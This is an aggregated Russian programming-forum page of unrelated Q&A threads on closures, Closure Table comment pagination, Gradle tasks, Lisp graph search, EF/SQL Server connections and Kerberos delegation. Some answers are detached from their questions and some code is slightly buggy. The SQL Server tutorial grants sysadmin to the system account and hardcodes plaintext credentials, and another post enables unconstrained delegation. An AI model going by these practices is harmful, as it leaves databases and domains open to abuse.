Все технические форумы на одном сайте Удобный поиск информации с популярных форумов в одном месте
Вопрос: Пагинация иерархических данных Closure Table

Добрый день,

В одном проекте использую технику Closure Table для создания древовидных комментариев. До сегодняшнего дня дерево комментариев выводилось полностью. Сейчас стала необходимостью подгружать их (примерно как на пикабу). Не могу понять как сделать правильную сортрировку вложенного дерева на стороне базы данных. В интернете ничего толкового не нашел. Есть одна статья, которая решает проблему добавлением дополнительного поля "ранк", но этот подход мне крайне не нравится (https://coderwall.com/p/lixing/closure-tables-for-browsing-trees-in-sql). Может кто-то сталкивался с подобной проблемой? Как вообще вы решали проблему с пагинацием вложенных комментариев?
Мне не нужна реализация, просто идея или проcтой псевдо-код. Если не хотите делится, то пишите в ПМ. Договоримся.
Ответ: Пожалуй соглашусь. Сделал так.

К классической модели добавил 2 поля: `tree` и `parent_id`. теперь каждый отдельный комментарий это одно маленькое деревце.
Кроме того поле `parent_id` помогает сэкономить пачку запросов и дает возможность при подгрузки комментариев вставлять их в нужные узлы ДОМ дерева.

Ставим индекс на 3 поля (`entity_id`, `tree`, `lft`) и простым запросом загружаем части комментариев отсортированные уже в нужном порядке.

SELECT * FROM comments WHERE entity_id = 20 ORDER BY tree, lft LIMIT 10, 20
Вопрос: Closure

Почему такой код кидает ошибку?

IEnumerable<char> query = "Not what you might expect";
string vowels = "aeiou";
for (int i = 0; i < vowels.Length; i++)
 query = query.Where (c => c != vowels[i]);
foreach (char c in query) Console.Write (c);


Ведь когда i = 5 то в query уже ничего не попадает
Ответ: Алексей К,
автор
в данном случае?

Алексей, в данном случае ночной кошмар ( код), опубликованный выше ( в самом начале), домыслы и инсинуации имхо не уместны..
Вопрос: Closure. Замыкания. Как передать необходимый параметр

Итак есть делегат
C#
1
    public delegate int MyComparer<T>(T left, T right);
Теперь куда мы должны подать этот делегат как аргумент
C#
1
2
            bool descending = true;
            list.Sort((int left, int right) => (descending == false) ? left.CompareTo(right) : -left.CompareTo(right));
Если вынести эту лямбду в отдельную функцию. Как потом подать descending?
То есть:
C#
1
list.Sort(FuncToSort);
Ответ: kol, можно сделать точно так же как поступает компилятор - создать класс с полями соответствующими захваченным переменным и методом созданным из лямбды
C#
1
2
3
4
5
6
7
8
class Sorter
{
    public bool descending;
    public void FuncToSort(int left, int right)
    {
        return (descending == false) ? left.CompareTo(right) : -left.CompareTo(right);
    }
}
И вызов
C#
1
2
Sorter srt = new Sorter { descending = true; };
list.Sort(srt.FuncToSort);
Вопрос: Как работать с тасками в Gradle

Объясните пожалуйста различие между тем что я просто передаю closure в конфигурацию какого то таска и тем что я делаю doLast(). В чем прикол - не могу понять? К примеру делаю таск

task cleanImages(type : clean) {
doLast {
def tree = fileTree("$rootDir")
tree.include '*.png'
tree.each { it.delete() }
}
}


или же делаю вызов

task cleanImages(type : clean) {
def tree = fileTree("$rootDir")
tree.include '*.png'
tree.each { it.delete() }
}

Когда каждый из этих кусков кода будет вызываться если я делаю gradle build? И будет ли вызываться вообще?
Я чтото не понимаю теорию тасков в Gradle - ну типа сконфигурировал его, а как потом вызвать его? Или GHradle сам поймет что его надо вызвать? Исходя из чего он понимает это?
Ответ: Спасибо.
То есть там для конфигурации мы фактически настраиваем объект который связан с этим таском - присваиваем значения полям,
в виде closure добавляем методы которые будут запускаться при вызове встроенных методов в этот таск.
А при добавлении closure в метод doLast() я добавляю действие которое будет вызвано когда будет запущен метод doLast() при выполнении кода - а метод doLast() всегда запускается при выполнении кода.
И вот тут непонятно как то - чем отличается конфигурирование метода doLast() от конфигурирования свойств и методов класса привязанного к таску? И та и другая задача состоит в том что мы конфигурируем некоторые свойства и методы объекта таска так, чтобы когда он будет выполняться, эти методы отработали нужным нам способом. Почему конфигурирование метода doLast() вынесено в отдельную как бы задачу или раздел, чем он особенный?
Вопрос: Существует ли путь между двумя вершинами графа

Задача звучит так:
"Граф задан с помощью цепных списков. Определить, существует ли путь между двумя заданными вершинами."

Я граф представляю в таком виде: ((2 3) (1) (1)) - то есть, в каждом элементе списка перечисляю числа вершин, с которыми соединена вершина с порядковым номером данного элемента в списке.

Мой код:
Lisp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(defun find (A B L)
 (cond
   ((null L) nil)
   ((EQ A B) nil)
   (T (cond
       ((member B (nth A L)) T)
       (T (let (S A) (F A B L S)))
      )
   )
 )
)
 
(defun F (X B L S)
 (dolist (i (nth X L) 'ok)
             (cond
               ((null L) nil)
               ((member i S) nil)
               ((member B (nth i L)) T)
               (T (AND (cons i S) (F i B L S)))
             )
 )
)
По моей задумке, должен быть совершён проход по всем ответвлениям до тех пор, пока либо не найдётся вторая вершина, либо не окажется, что проверять больше нечего (сохраняю номера пройденных вершин в список S и каждый раз проверяю, не была ли уже проверена эта вершина).
Проблема в том, что при попытке проверить работу программы ошибка выдаётся уже на этапе считывания аргументов:
Lisp
1
2
CL-USER> (find 2 3 '((2 3) (1) (1)))
; Evaluation aborted on #<CCL::SIMPLE-PROGRAM-ERROR #x2100B89C5D>.
Кликните здесь для просмотра всего текста

Incorrect keyword arguments in (((2 3) (1) (1))) .
[Condition of type CCL::SIMPLE-PROGRAM-ERROR]

Restarts:
0: [RETRY] Retry SLIME REPL evaluation request.
1: [*ABORT] Return to SLIME's top level.
2: [ABORT-BREAK] Reset this thread
3: [ABORT] Kill this thread

Backtrace:
0: (NIL #<Unknown Arguments>)
1: (CCL::CALL-CHECK-REGS FIND 2 3 ((2 3) (1) (1)))
2: (CCL::CHEAP-EVAL (FIND 2 3 '((2 3) (1) (1))))
3: (SWANK::EVAL-REGION "(find 2 3 '((2 3) (1) (1)))\n")
Locals:
STRING = "(find 2 3 '((2 3) (1) (1)))\n"
STREAM = #<STRING-INPUT-STREAM #x2100B89F4D>
VALUES = NIL
- = (FIND 2 3 '((2 3) (1) (1)))
SWANK::FORM = (FIND 2 3 '((2 3) (1) (1)))
4: ((:INTERNAL SWANK::REPL-EVAL))
5: (SWANK::TRACK-PACKAGE #<CCL:COMPILED-LEXICAL-CLOSURE (:INTERNAL SWANK::REPL-EVAL) #x2100C1686F>)
6: (SWANK::CALL-WITH-RETRY-RESTART "Retry SLIME REPL evaluation request." #<CCL:COMPILED-LEXICAL-CLOSURE (:INTERNAL SWANK::REPL-EVAL) #x2100C168EF>)
7: (SWANK::CALL-WITH-BUFFER-SYNTAX NIL #<CCL:COMPILED-LEXICAL-CLOSURE (:INTERNAL SWANK::REPL-EVAL) #x2100C1692F>)
8: (SWANK::REPL-EVAL "(find 2 3 '((2 3) (1) (1)))\n")
9: (CCL::CALL-CHECK-REGS SWANK:LISTENER-EVAL "(find 2 3 '((2 3) (1) (1)))\n")
10: (CCL::CHEAP-EVAL (SWANK:LISTENER-EVAL "(find 2 3 '((2 3) (1) (1)))\n"))
11: (SWANK:EVAL-FOR-EMACS (SWANK:LISTENER-EVAL "(find 2 3 '((2 3) (1) (1)))\n") "COMMON-LISP-USER" 388)
12: (SWANK::PROCESS-REQUESTS NIL)
13: ((:INTERNAL SWANK::HANDLE-REQUESTS))
14: ((:INTERNAL SWANK::HANDLE-REQUESTS))
15: (SWANK-BACKEND:CALL-WITH-DEBUGGER-HOOK #<Compiled-function SWANK:SWANK-DEBUGGER-HOOK #x210073F1EF> #<CCL:COMPILED-LEXICAL-CLOSURE (:INTERNAL SWANK::HANDLE-REQUESTS) #x2100ADC64F>)
16: (SWANK::CALL-WITH-BINDINGS ((*STANDARD-OUTPUT* . #<SWANK-BACKEND::SLIME-OUTPUT-STREAM #x2100ADB44D>) (*STANDARD-INPUT* . #<SWANK-BACKEND::SLIME-INPUT-STREAM #x2100ADB80D>) ..))) #<CCL:COMPILED-LEXICAL..
17: (SWANK::HANDLE-REQUESTS #<CONNECTION #x210098BEDD> NIL)
18: (CCL::RUN-PROCESS-INITIAL-FORM #<PROCESS repl-thread(10) [Active] #x2100ACA69D> (#<CCL:COMPILED-LEXICAL-CLOSURE (:INTERNAL CCL::%PROCESS-RUN-FUNCTION) #x2100ACA43F>))
19: ((:INTERNAL (CCL::%PROCESS-PRESET-INTERNAL (CCL:PROCESS))) #<PROCESS repl-thread(10) [Active] #x2100ACA69D> (#<CCL:COMPILED-LEXICAL-CLOSURE (:INTERNAL CCL::%PROCESS-RUN-FUNCTION) #x2100ACA43F>))
20: ((:INTERNAL CCL::THREAD-MAKE-STARTUP-FUNCTION))

Если поменять местами аргументы в коде и при вызове функции, поставив список вперёд ("L A B" - у меня было так изначально), то также вызывает ошибку третий аргумент.

Подскажите, что не так и как это исправить, пожалуйста.
Ответ: Поправил:

Lisp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(defun search (v graph chk)  ;; найти первую вершину, связанную с v и непосещенную
  (dolist (i graph nil)
    (when (and (eq v (car i)) (not (member (cadr i) chk))) (return (cadr i)))
    (when (and (eq v (cadr i)) (not (member (car i) chk))) (return (car i)))))
 
    
(defun dfs (graph chk stack)
  (let ((w (if (null stack) nil (search (car stack) graph chk))))
       (cond ((and (null w) (null stack)) nil)
             ((null w) (dfs graph chk (cdr stack)))
             (t (cons (list (car stack) w) (dfs graph (cons w chk) (cons w stack)))))))
 
(defun path-exists (graph v1 v2)
   (let ((pth (dfs graph (list v1) (list v1))))
      (member v2 (apply 'append pth))))
 
;; Проба:
 
(path-exists '((a b) (a c) (b c) (d b) (d c) (b e) (d e)) 'c 'e)
 
==> T
 
(path-exists '((a b) (a c) (b c) (d b) (d c) (f e) (g e)) 'c 'e)
 
==> NIL
Вопрос: Подключение SQL Server без Web.config

ASP MVC Подключения SQL Server без Web.config несколько вариантов
Дело пойдет о подключении базы
Я делал подключение Web.config все работает
но теперь лучше сделать класс что подключет базу
строкой , или значениями класса по атрибутам DataSourse,Host,Password и так далее
ведь когда тестил , все правильно написал
то когда дело дошло к выводу данных с таблице
я получил ошибку типа
Login ......... Password и так далее
И конечно же и вывод ошибки, в случаи провала подключения

Надеюсь кто то поможет поправить это дело

Настраиваем Microsoft SQL Server 2014
1) Заходим под Именем сервера у меня это такое
Server Name: SITY_PC

Жмем свойства Server Properties -> потом Security
выставляем SQL Server and Windows Authentication mode
это нужно, входа в созданную базу, под Логином и Паролем
Перезагружаем сервер Microsoft SQL Server 2014 нажав SITY_PC правой кнопкой мыши , Restart - соглашаемся на все OK
Сервер перезагружаеться приняв новые настройки

2) Заходим в Logins->NT AUTHORITY\система
жмем правой кнопкой мыши по NT AUTHORITY\система , выбираем Properties
там выбираем Server Roles, ставим птичку напротив sysadmin

3) Для удобства добавляем нумерацию строк скриптинга Microsoft SQL Server 2014
Tools->Options->Text Editor->All Languages
напротив Lines numbers поставим галочку
таким образом когда когда будете писать скрипт T-SQL
будут нумеровать строки , и в случаи ошибки будет определена строка ошибки
и вы легко можете пролистав номера строк найти строку ошибки, и править скрипт
4) Готово


Теперь о Главном
Создадим базу с готовой таблицей
1) Вот скрипт

T-SQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
CREATE DATABASE [Economics]
 
USE [Economics]
GO
 
/****** Object:  Table [dbo].[TABLE_ECONOMIC]    Script Date: 05.09.2016 11:33:10 ******/
SET ANSI_NULLS ON
GO
 
SET QUOTED_IDENTIFIER ON
GO
 
CREATE TABLE [dbo].[TABLE_ECONOMIC](
    [ID_ECONOMIC] [int] IDENTITY(1,1) NOT NULL,
    [TEXT] [nvarchar](3600) NOT NULL,
    [COST] [money] NOT NULL,
 CONSTRAINT [PK_TABLE_ECONOMIC] PRIMARY KEY CLUSTERED 
(
    [ID_ECONOMIC] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
 
GO
2) Создаем проект SQL_Server_Connect_Test_All зарание подключаем Entity Framework 5.0
Создадим Контроллер Controllers/HomeController.cs
стандарт ничего не меняем
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
 
namespace SQL_Server_Connect_Test_All.Controllers
{
    public class HomeController : Controller
    {
        //
        // GET: /Home/
 
        public ActionResult Index()
        {
            return View();
        }
 
    }
}
3) Создадим класс таблицы Tables/TABLE_ECONOMIC.cs
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
 
namespace SQL_Server_Connect_Test_All.Tables
{
    [Table("TABLE_ECONOMIC")]
    public class TABLE_ECONOMIC
    {
        [Key]
        public int ID_ECONOMIC { get; set; }
 
        [Required]
        [Display(Name = "Текст Економики")]
        public string TEXT { get; set; }
 
        [Required]
        [Display(Name = "Стоймость")]
        public double COST { get; set; }
    }
}


4) Нажав ActionResult Index() создаем представление Add View...
Тут и воротим вывод данных

HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@using SQL_Server_Connect_Test_All.Models
@using SQL_Server_Connect_Test_All.Tables
@{
    ViewBag.Title = "Index";
    ManadgerDB manadgerDb=new ManadgerDB();
}
 
<h2>Index</h2><br/>
<h3>Данные Базы</h3><br/><br/>
@{
    foreach (TABLE_ECONOMIC obj in manadgerDb.GET_OBJECTS())
    {
         <p>1) @obj.TEXT = @obj.COST $</p>
    }
}
5) Создаем класс что будет выступать как подключения, и вывод данных с базы
Класс перчик все в одном))
Models/ManadgerDB.cs
Это один вариант

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Data.SqlClient;
using System.Linq;
using System.Web;
using SQL_Server_Connect_Test_All.Tables;
 
namespace SQL_Server_Connect_Test_All.Models
{
    interface IRepository_Manadger<T> : IDisposable
    {
        IEnumerable<TABLE_ECONOMIC> GET_OBJECTS();
        SqlErrorCollection GET_ERROR_SQL();
    }
 
    public class ManadgerDB : IRepository_Manadger<TABLE_ECONOMIC>
    {
        private DB_Context db;
 
        public ManadgerDB()
        {
            string str_connect = @"Data Source=SITY_PC; Initial Catalog=Economics; Integrated Security=true; User ID=PUTIN_IS_KNDR_KOREA; Password=#tyranny";
            this.db = new DB_Context(str_connect);
        }
 
        //Колекция обьектов
        public IEnumerable<TABLE_ECONOMIC> GET_OBJECTS()
        {
            return db.TableEconomics;
        }
 
        //Возвращаем ошибки
        public SqlErrorCollection GET_ERROR_SQL()
        {
            return db.Error_Connect;
        }
 
        public void Dispose()
        {
            db.Dispose();
        }
    }
 
    //Контекст подключения
    public class DB_Context : DbContext
    {
        public SqlErrorCollection Error_Connect { get; set; }
        public DbSet<TABLE_ECONOMIC> TableEconomics { get; set; }
        //Имя подключения к базе
        public DB_Context() : base("Primaryconect")
        {
 
        }
 
        //Подключаем строку
        public DB_Context(string connection_str)
        {
            try
            {
                Database.Connection.ConnectionString = connection_str;
            }
            catch (SqlException ex)
            {
 
                Error_Connect = ex.Errors;
            }
           
        }
    }
}
Результат этого применения Ошибка

System.InvalidOperationException was unhandled by user code
HResult=-2146233079
Message=The 'COST' property on 'TABLE_ECONOMIC' could not be set to a 'Decimal' value. You must set this property to a non-null value of type 'Double'.
Source=System.Data.Entity
StackTrace:
at System.Data.Common.Internal.Materialization.Shaper.ErrorHandlingValueReader`1.GetValue(DbDataReader reader, Int32 ordinal)
at System.Data.Common.Internal.Materialization.Shaper.GetPropertyValueWithErrorHandling[TProperty](Int32 ordinal, String propertyName, String typeName)
at lambda_method(Closure , Shaper )
at System.Data.Common.Internal.Materialization.Shaper.HandleEntityAppendOnly[TEntity](Func`2 constructEntityDelegate, EntityKey entityKey, EntitySet entitySet)
at lambda_method(Closure , Shaper )
at System.Data.Common.Internal.Materialization.Coordinator`1.ReadNextElement(Shaper shaper)
at System.Data.Common.Internal.Materialization.Shaper`1.SimpleEnumerator.MoveNext()
at ASP._Page_Views_Home_Index_cshtml.Execute() in c:\Users\Sity\Documents\Visual Studio 2010\Projects\SQL_Server_Connect_Test_All\SQL_Server_Connect_Test_All\Views\Home\Index.cshtml:line 11
at System.Web.WebPages.WebPageBase.ExecutePageHierarchy()
at System.Web.Mvc.WebViewPage.ExecutePageHierarchy()
at System.Web.WebPages.StartPage.RunPage()
at System.Web.WebPages.StartPage.ExecutePageHierarchy()
at System.Web.WebPages.WebPageBase.ExecutePageHierarchy(WebPageContext pageContext, TextWriter writer, WebPageRenderingBase startPage)
at System.Web.Mvc.RazorView.RenderView(ViewContext viewContext, TextWriter writer, Object instance)
at System.Web.Mvc.BuildManagerCompiledView.Render(ViewContext viewContext, TextWriter writer)
at System.Web.Mvc.ViewResultBase.ExecuteResult(ControllerContext context)
at System.Web.Mvc.ControllerActionInvoker.InvokeActionResult(ControllerContext controllerContext, ActionResult actionResult)
at System.Web.Mvc.ControllerActionInvoker.<>c__DisplayClass1a.<InvokeActionResultWithFilters>b__17()
at System.Web.Mvc.ControllerActionInvoker.InvokeActionResultFilter(IResultFilter filter, ResultExecutingContext preContext, Func`1 continuation)
InnerException:


6) Второй вариант Models/ManadgerDB_2.cs
с кодом , достаточно в Index.cshtml поменять класс ManadgerDB_2 manadgerDb=new ManadgerDB_2();
мы запустим и увидем результат

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Data.SqlClient;
using System.Linq;
using System.Web;
using SQL_Server_Connect_Test_All.Tables;
 
namespace SQL_Server_Connect_Test_All.Models
{
    interface IRepository_Manadger2<T> : IDisposable
    {
        IEnumerable<TABLE_ECONOMIC> GET_OBJECTS();
        SqlErrorCollection GET_ERROR_SQL();
    }
 
    public class ManadgerDB_2 : IRepository_Manadger2<TABLE_ECONOMIC>
    {
        private DB_Context2 db;
 
        public ManadgerDB_2()
        {
            //Подключаем автоматоматически
            this.db = new DB_Context2();
        }
 
        //Колекция обьектов
        public IEnumerable<TABLE_ECONOMIC> GET_OBJECTS()
        {
            return db.TableEconomics;
        }
 
        //Возвращаем ошибки
        public SqlErrorCollection GET_ERROR_SQL()
        {
            return db.Error_Connect;
        }
 
        public void Dispose()
        {
            db.Dispose();
        }
    }
 
    //Контекст подключения
    public class DB_Context2 : DbContext
    {
        SqlConnectionStringBuilder connectStringBuilder = new SqlConnectionStringBuilder();
        SqlConnection conn;
        SqlCommand comm;
 
        public SqlErrorCollection Error_Connect { get; set; }
        public DbSet<TABLE_ECONOMIC> TableEconomics { get; set; }
 
        //Имя подключения к базе, все в одном
        public DB_Context2() : base("Primaryconect2")
        {
            try
            {
                connectStringBuilder.DataSource = "SITY_PC";
                connectStringBuilder.InitialCatalog = "Economics";
                connectStringBuilder.Encrypt = true;
                connectStringBuilder.TrustServerCertificate = true;
                connectStringBuilder.ConnectTimeout = 30;
                connectStringBuilder.AsynchronousProcessing = true;
                connectStringBuilder.MultipleActiveResultSets = true;
                connectStringBuilder.IntegratedSecurity = true;
                connectStringBuilder.UserID = "PUTIN_IS_KNDR_KOREA";
                connectStringBuilder.Password = "#tyranny";
 
                conn = new SqlConnection(connectStringBuilder.ToString());
                //Передаем строку подключения
                Database.Connection.ConnectionString = conn.ConnectionString;
            }
            catch (SqlException ex)
            {
 
                Error_Connect = ex.Errors;
            }
        }
 
    }
}
Результат этого выполнения Ошибка

System.InvalidOperationException was unhandled by user code
HResult=-2146233079
Message=The 'COST' property on 'TABLE_ECONOMIC' could not be set to a 'Decimal' value. You must set this property to a non-null value of type 'Double'.
Source=System.Data.Entity
StackTrace:
at System.Data.Common.Internal.Materialization.Shaper.ErrorHandlingValueReader`1.GetValue(DbDataReader reader, Int32 ordinal)
at System.Data.Common.Internal.Materialization.Shaper.GetPropertyValueWithErrorHandling[TProperty](Int32 ordinal, String propertyName, String typeName)
at lambda_method(Closure , Shaper )
at System.Data.Common.Internal.Materialization.Shaper.HandleEntityAppendOnly[TEntity](Func`2 constructEntityDelegate, EntityKey entityKey, EntitySet entitySet)
at lambda_method(Closure , Shaper )
at System.Data.Common.Internal.Materialization.Coordinator`1.ReadNextElement(Shaper shaper)
at System.Data.Common.Internal.Materialization.Shaper`1.SimpleEnumerator.MoveNext()
at ASP._Page_Views_Home_Index_cshtml.Execute() in c:\Users\Sity\Documents\Visual Studio 2010\Projects\SQL_Server_Connect_Test_All\SQL_Server_Connect_Test_All\Views\Home\Index.cshtml:line 11
at System.Web.WebPages.WebPageBase.ExecutePageHierarchy()
at System.Web.Mvc.WebViewPage.ExecutePageHierarchy()
at System.Web.WebPages.StartPage.RunPage()
at System.Web.WebPages.StartPage.ExecutePageHierarchy()
at System.Web.WebPages.WebPageBase.ExecutePageHierarchy(WebPageContext pageContext, TextWriter writer, WebPageRenderingBase startPage)
at System.Web.Mvc.RazorView.RenderView(ViewContext viewContext, TextWriter writer, Object instance)
at System.Web.Mvc.BuildManagerCompiledView.Render(ViewContext viewContext, TextWriter writer)
at System.Web.Mvc.ViewResultBase.ExecuteResult(ControllerContext context)
at System.Web.Mvc.ControllerActionInvoker.InvokeActionResult(ControllerContext controllerContext, ActionResult actionResult)
at System.Web.Mvc.ControllerActionInvoker.<>c__DisplayClass1a.<InvokeActionResultWithFilters>b__17()
at System.Web.Mvc.ControllerActionInvoker.InvokeActionResultFilter(IResultFilter filter, ResultExecutingContext preContext, Func`1 continuation)
InnerException:

Пример прикрепил SQL_Server_Connect_Test_All.rar
Базу тоже Economics.rar уже есть данные

Вот и думай как же правильно , что не так ?
Ответ: Ну вообще то привелегии должны быть , ведь когда привелегий не было , или они были в master базы как стандарт,
то возникали ошибки NT AUTHORITY\система , быть может это было связано с указанием Integrated Security на отключке , не знаю ?
XML
1
Integrated Security = false;
Добавлено через 11 минут
Я шас еще раз подключаю , и пробую интеграцию Sqlite+EntityFramework6
бывают какие то приколы , хотя всеправильно не до чего придраться , это на VS2010
Я сначала использую обычное подключение
ASP MVC -> Base(базовым набором)
уже есть встроеный Entity Framework 5.0

потом аналог
ASP MVC -> Base(базовым набором)
но с использованием консольной установки
Tools->Library Package Manager->Package Manager Console
вбиваем команду
PM> Install-Package EntityFramework
по идее произойдет подмена на новую версию Entity Framework 6

Добавлено через 38 минут
Уже есть не утешительный результат
1) Первый проект что создан на VS2010
ASP MVC Razov - > Base (с базовыми компонентами EF5 версии)
использованием консольной установки
Tools->Library Package Manager->Package Manager Console
после подмены на новую версию Entity Framework 6
PM> Install-Package EntityFramework

Получаем пустоту , данные не вывелись
хотя все правильно проипсано

Добавлено через 47 минут
Теперь Разберемся

1) VS2010 ASP MVC Razov (Base компоненты) -(использование PM> Install-Package EntityFramework)
подмена EF5 на EF6
для того чтоб использовать новую версию EF6 нужно остановить сервер , или перезагрузить проект
после все начнет работать данные будут выводиться

2) VS2010 ASP MVC Razov (Base компоненты) -(использование Install-Package System.Data.SQLite.EF6)
интегрирваный SQLite+EF6
Если вы хотите использовать EF6 , а не SQLite то вам нужно зайти в Web.config
И отключить провайдера SQLite из за которого происходит конфликт
это строка
XML
1
<provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />

Полностью где она находиться , я ей закоментил отключил

XML
1
2
3
4
<providers>      
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
      <!--<provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />-->
    </providers>
И тогда ошибки не будет , будет выводить данные

В случаи если вы захотите использовать SQLite , а не EF6 то разкоментите эту строку провайдера
и вперед
Вопрос: Вызов анонимной функции из статического массива.


class DI
{
private static $container = [];

public static function set($key, $closure)
{
self::$container[$key] = $closure;
}

public static function get($key)
{
return self::$container[$key]();
}
}


DI::set('request', function(){
return new Kernel\Request();
});

$request = DI::get('request');



Fatal error: Function name must be a string in C:\OpenServer\domains\mvc.loc\protected\classes\Kernel\DI.php on line 15


Причём если сделать свойство и методы не статическими, создать экземпляр DI и работать с ним - то анонимная функция отрабатывает и вернёт нам нужный объект. Что не так?
Ответ: J1upuk у тебя ServiceLocator скорее чем Di =)
Вопрос: Имперсонация и делегирование asp.net проекта

Всем доброго времени суток. Возможно данный вопрос стоит адресовать специалистам в области asp.net, тем не менее он ощутимо затрагивает настройку SQL SERVER.

Наша компания занимается разработкой многослойного приложения, включающего в себя:
- Desktop клиент;
- Web APi сервер приложений. - AppServer
- БД, развернутая на MS SQL Server

Клиентское приложение практически выполняет функцию отображения (wpf мордочка), обработка данных из БД и также бизнес логика реализованы в AppServer. Некоторая сложная логика, включающая множество join операций вынесена на уровень БД в функции и хранимые процедуры и клиент обращается к ним напрямую (в тех местах, где "проседает" производительность по времени).

Идея взаимодействия такова: пользователь работает с клиентом под своей доменной учетной записью (не силен в данном вопросе, но знаю, что все учетки, а также их права хранятся на уровне БД, + Active directory). Пользователь обращается к AppServer, к примеру хочет отобразить некие данные в таблице. AppServer соответственно делает запрос к БД и вытаскивает нужные данные.

НО! Важно, чтобы AppServer выполнял этот запрос от имени учетки пользователя, который работает с клиентом, в противном случае политика раздачи прав на объекты в БД не имеет смысла. Т.е. нужно реализовать механизм "сквозной авторизации" на SQL Server через AppServer.

Поиски решения привели к понятиям имперсонации и делегирования в asp.net проекте и к данной статье в частности:
[url=] [/url]

сделал соответствующие настройки в web.config, установил в IIS Negotiate:Kerberos и убрал Kernel-mode authentification, админ соответственно настроил соответствующим образом Active Directory, установив "Trust this computer for delegation to any service", то есть, по сути, сделал делегирование enable.

Пытаюсь проверить работоспособность делегирования через тестовый проектик: создал Web API проект, добавил тестовый метод со следующим кодом:

string userName = "";
            string userId = "";

            if (HttpContext.Current != null && HttpContext.Current.User != null &&
                HttpContext.Current.User.Identity.Name != null)
            {
                userName = HttpContext.Current.User.Identity.Name;
                userId = HttpContext.Current.User.Identity.AuthenticationType;
            }

            return userName;


чтобы проверить, авторизован ли я на сервисе, и запаблишил этот сервис

Учетку из http контекста данный метод возвращает верно, то есть я делаю вывод, что на сервисе я авторизован. Далее я делаю тестовый метод для обращения к sql server к нужной базе, данный метод должен вернуть suser_sname:

SqlConnection conn = new SqlConnection("Data Source=SERVER;Initial Catalog=Database;Integrated Security=True");
            conn.Open();
            SqlCommand com = new SqlCommand("SELECT SUSER_SNAME()", conn);
            var result = (string)com.ExecuteScalar();

            return result;


Обращаюсь в браузере к контроллеру:
В результате я получаю такую ошибку:
+

<Error>
<Message>An error has occurred.</Message>
<ExceptionMessage>
Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.
</ExceptionMessage>
<ExceptionType>System.Data.SqlClient.SqlException</ExceptionType>
<StackTrace>
at System.Data.ProviderBase.DbConnectionPool.TryGetConnection(DbConnection owningObject, UInt32 waitForMultipleObjectsTimeout, Boolean allowCreate, Boolean onlyOneCheckConnection, DbConnectionOptions userOptions, DbConnectionInternal& connection) at System.Data.ProviderBase.DbConnectionPool.TryGetConnection(DbConnection owningObject, TaskCompletionSource`1 retry, DbConnectionOptions userOptions, DbConnectionInternal& connection) at System.Data.ProviderBase.DbConnectionFactory.TryGetConnection(DbConnection owningConnection, TaskCompletionSource`1 retry, DbConnectionOptions userOptions, DbConnectionInternal oldConnection, DbConnectionInternal& connection) at System.Data.ProviderBase.DbConnectionInternal.TryOpenConnectionInternal(DbConnection outerConnection, DbConnectionFactory connectionFactory, TaskCompletionSource`1 retry, DbConnectionOptions userOptions) at System.Data.SqlClient.SqlConnection.TryOpenInner(TaskCompletionSource`1 retry) at System.Data.SqlClient.SqlConnection.TryOpen(TaskCompletionSource`1 retry) at System.Data.SqlClient.SqlConnection.Open() at TestWebApi.Controllers.ValuesController.Get() at lambda_method(Closure , Object , Object[] ) at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ActionExecutor.<>c__DisplayClass13.<GetExecutor>b__c(Object instance, Object[] methodParameters) at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ActionExecutor.Execute(Object instance, Object[] arguments) at System.Threading.Tasks.TaskHelpers.RunSynchronously[TResult](Func`1 func, CancellationToken cancellationToken)
</StackTrace>
</Error>


Поиск в гугл приводит меня к одним и тем же ссылкам, в которых указываются настройки, которые уже установлены. Я почти уверен, что проблема где-то в настройках IIS или Active Directiry, но к сожалению пока-что решение не найдено.

Возможно кто-то решал схожую задачу либо сталкивался с такой проблемой. Буду очень благодарен Вам за помощь!

Модератор: Тема перенесена из форума "Microsoft SQL Server".
Ответ: paranamix2,
Проверьте что установлено в Identity в Application Pool.
Вопрос: использование анонимной ф-ции

привет. Не пониимаю как в массиве вернуть из анонимной ф-ции просто значение.
код:
<?php
$val = "text message";
$a = 55;


$data = array(
'type' => 'text',
'name' => "someName",
'value' => $val,
'id' => function() use ($a){
return ($a < 55) ? "id-less-55" : "id-more-or-equals-55";
},
'class' => 'class-test'
);

print_r($data);


когда делаю print_r..я вижу
id = Closure Object ( [static] => Array ( [a] => 55 ) )
вместо одной из строк.
как мне добиться использования ф-ции в этом варианте?
Ответ:
print_r( $data['id']() );
Вопрос: Помогите решить проблему!

